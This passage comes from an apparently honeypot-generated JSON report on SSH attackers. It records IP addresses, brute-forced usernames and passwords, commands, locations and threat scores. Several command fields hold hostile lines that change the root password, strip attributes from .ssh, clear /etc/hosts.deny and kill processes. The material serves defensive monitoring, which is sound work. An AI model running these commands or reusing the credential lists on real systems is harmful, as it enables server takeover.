        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"server10\\n93094iUlva3O\\n93094iUlva3O\\n\"|passwd",
        "echo -e \"server10\\n93094iUlva3O\\n93094iUlva3O\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T23:37:53.694000+00:00",
        "last_seen_30d": "2026-03-21T00:00:47.390000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "118.194.230.250": {
      "attack_count": 118,
      "first_seen": "2026-03-02T16:53:27.128Z",
      "last_seen": "2026-03-02T17:17:49.359Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!qaz2wsX",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456!@#",
        "Hc123456",
        "Xx123456@",
        "Zz123456..",
        "mm12345",
        "pass1234",
        "promo123",
        "qq123456",
        "zxcv123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GuEkmNGwoGm2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:53:27.128000+00:00",
        "last_seen_30d": "2026-03-02T17:18:50.078000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "83.235.21.125": {
      "attack_count": 118,
      "first_seen": "2026-03-02T02:54:21.530Z",
      "last_seen": "2026-03-02T03:13:59.944Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0000000000",
        "12345@12345",
        "123@qweASD",
        "1qaz!QAZ1qaz",
        "22",
        "3245gs5662d34",
        "345gs5662d34",
        "AAA111aaa",
        "Admin123123",
        "H",
        "Master@2025",
        "qQ123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:MHZsgCM9M7y4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Athens",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:54:21.530000+00:00",
        "last_seen_30d": "2026-03-02T03:15:05.866000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "207.154.195.239": {
      "attack_count": 78,
      "first_seen": "2026-03-03T17:45:00.295Z",
      "last_seen": "2026-03-03T18:08:51.951Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "test1"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "test1",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T17:44:06.736000+00:00",
        "last_seen_30d": "2026-03-03T18:09:58.378000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 34
      }
    },
    "139.135.45.110": {
      "attack_count": 50,
      "first_seen": "2026-03-14T05:34:03.152Z",
      "last_seen": "2026-03-14T05:39:27.568Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T05:34:03.152000+00:00",
        "last_seen_30d": "2026-03-14T05:40:30.359000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.29.190.186": {
      "attack_count": 50,
      "first_seen": "2026-03-05T18:12:04.147Z",
      "last_seen": "2026-03-05T18:31:23.436Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "ts3bot",
        "viewtinet"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123",
        "Ts3bot123",
        "viewtinetpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "echo \"Admin123\\niidWegF3WqGz\\niidWegF3WqGz\\n\"|passwd",
        "echo -e \"Admin123\\niidWegF3WqGz\\niidWegF3WqGz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:12:04.147000+00:00",
        "last_seen_30d": "2026-03-05T18:35:33.876000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 13
      }
    },
    "42.235.53.37": {
      "attack_count": 50,
      "first_seen": "2026-03-20T14:10:12.211Z",
      "last_seen": "2026-03-20T14:15:40.553Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T14:10:12.211000+00:00",
        "last_seen_30d": "2026-03-20T14:16:46.544000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "38.188.160.222": {
      "attack_count": 48,
      "first_seen": "2026-03-10T23:00:09.682Z",
      "last_seen": "2026-03-11T00:17:46.601Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "101279",
        "130479",
        "171287",
        "220685",
        "221177",
        "260785",
        "delgado",
        "lynette",
        "tifenn"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:00:09.682000+00:00",
        "last_seen_30d": "2026-03-11T00:18:54.238000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "91.224.92.50": {
      "attack_count": 44,
      "first_seen": "2026-03-06T10:05:43.785Z",
      "last_seen": "2026-03-29T22:03:57.390Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:05:43.785000+00:00",
        "last_seen_30d": "2026-03-29T22:05:05.612000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "46.101.251.163": {
      "attack_count": 36,
      "first_seen": "2026-03-04T19:50:46.971Z",
      "last_seen": "2026-03-05T09:36:52.328Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "solv"
      ],
      "passwords_attempted": [
        "solana",
        "solv"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T19:48:08.906000+00:00",
        "last_seen_30d": "2026-03-05T09:37:58.260000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 26
      }
    },
    "113.249.111.205": {
      "attack_count": 33,
      "first_seen": "2026-03-03T19:37:53.324Z",
      "last_seen": "2026-03-03T19:48:57.439Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1q2w3e!Q@W#E",
        "3245gs5662d34",
        "345gs5662d34",
        "Cc123456",
        "a845240287"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T19:37:53.324000+00:00",
        "last_seen_30d": "2026-03-03T19:50:06.088000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 12
      }
    },
    "167.71.209.86": {
      "attack_count": 30,
      "first_seen": "2026-03-17T09:54:11.840Z",
      "last_seen": "2026-03-17T10:02:26.878Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T09:54:11.840000+00:00",
        "last_seen_30d": "2026-03-17T10:03:28.984000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "182.127.69.158": {
      "attack_count": 30,
      "first_seen": "2026-03-05T04:35:09.990Z",
      "last_seen": "2026-03-05T04:38:24.522Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T04:35:09.990000+00:00",
        "last_seen_30d": "2026-03-05T04:39:30.231000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "49.64.85.138": {
      "attack_count": 28,
      "first_seen": "2026-03-18T04:21:12.346Z",
      "last_seen": "2026-03-18T04:42:33.276Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "ayoub",
        "apexuser",
        "kanban"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "Ayoub123!",
        "apexuserpass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:21:12.346000+00:00",
        "last_seen_30d": "2026-03-18T04:52:35.680000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 20
      }
    },
    "60.19.218.148": {
      "attack_count": 24,
      "first_seen": "2026-03-04T02:07:30.457Z",
      "last_seen": "2026-03-04T02:09:13.733Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T02:07:30.457000+00:00",
        "last_seen_30d": "2026-03-04T02:10:16.073000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "38.188.160.83": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:46:25.035Z",
      "last_seen": "2026-03-11T00:31:58.413Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "250286",
        "7412581",
        "jaypee",
        "patapon"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:46:25.035000+00:00",
        "last_seen_30d": "2026-03-11T00:33:06.214000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "134.199.155.226": {
      "attack_count": 22,
      "first_seen": "2026-03-12T08:19:02.962Z",
      "last_seen": "2026-03-12T08:33:33.547Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T08:18:59.784000+00:00",
        "last_seen_30d": "2026-03-12T08:34:35.320000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14
      }
    },
    "165.154.52.159": {
      "attack_count": 21,
      "first_seen": "2026-03-30T15:16:58.311Z",
      "last_seen": "2026-03-30T15:20:09.178Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-29T12:44:02+00:00",
        "last_seen_30d": "2026-03-30T15:21:18.315000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10,
        "Honeytrap": 1
      }
    },
    "36.26.82.246": {
      "attack_count": 19,
      "first_seen": "2026-03-29T19:51:36.893Z",
      "last_seen": "2026-03-29T21:04:38.070Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1125",
        "idrac123!@#",
        "song1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T19:51:36.893000+00:00",
        "last_seen_30d": "2026-03-29T21:14:39.518000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 13
      }
    },
    "147.182.194.60": {
      "attack_count": 18,
      "first_seen": "2026-03-05T16:25:31.637Z",
      "last_seen": "2026-03-28T14:47:03.298Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dev",
        "rai"
      ],
      "passwords_attempted": [
        "Tester01",
        "devpassword",
        "rai",
        "state"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T16:25:31.637000+00:00",
        "last_seen_30d": "2026-03-28T14:48:05.042000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "139.135.45.145": {
      "attack_count": 16,
      "first_seen": "2026-03-02T09:20:56.202Z",
      "last_seen": "2026-03-02T09:22:50.371Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T09:20:56.202000+00:00",
        "last_seen_30d": "2026-03-02T09:23:57.410000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "152.42.226.46": {
      "attack_count": 12,
      "first_seen": "2026-03-14T19:13:30.920Z",
      "last_seen": "2026-03-14T19:19:25.603Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
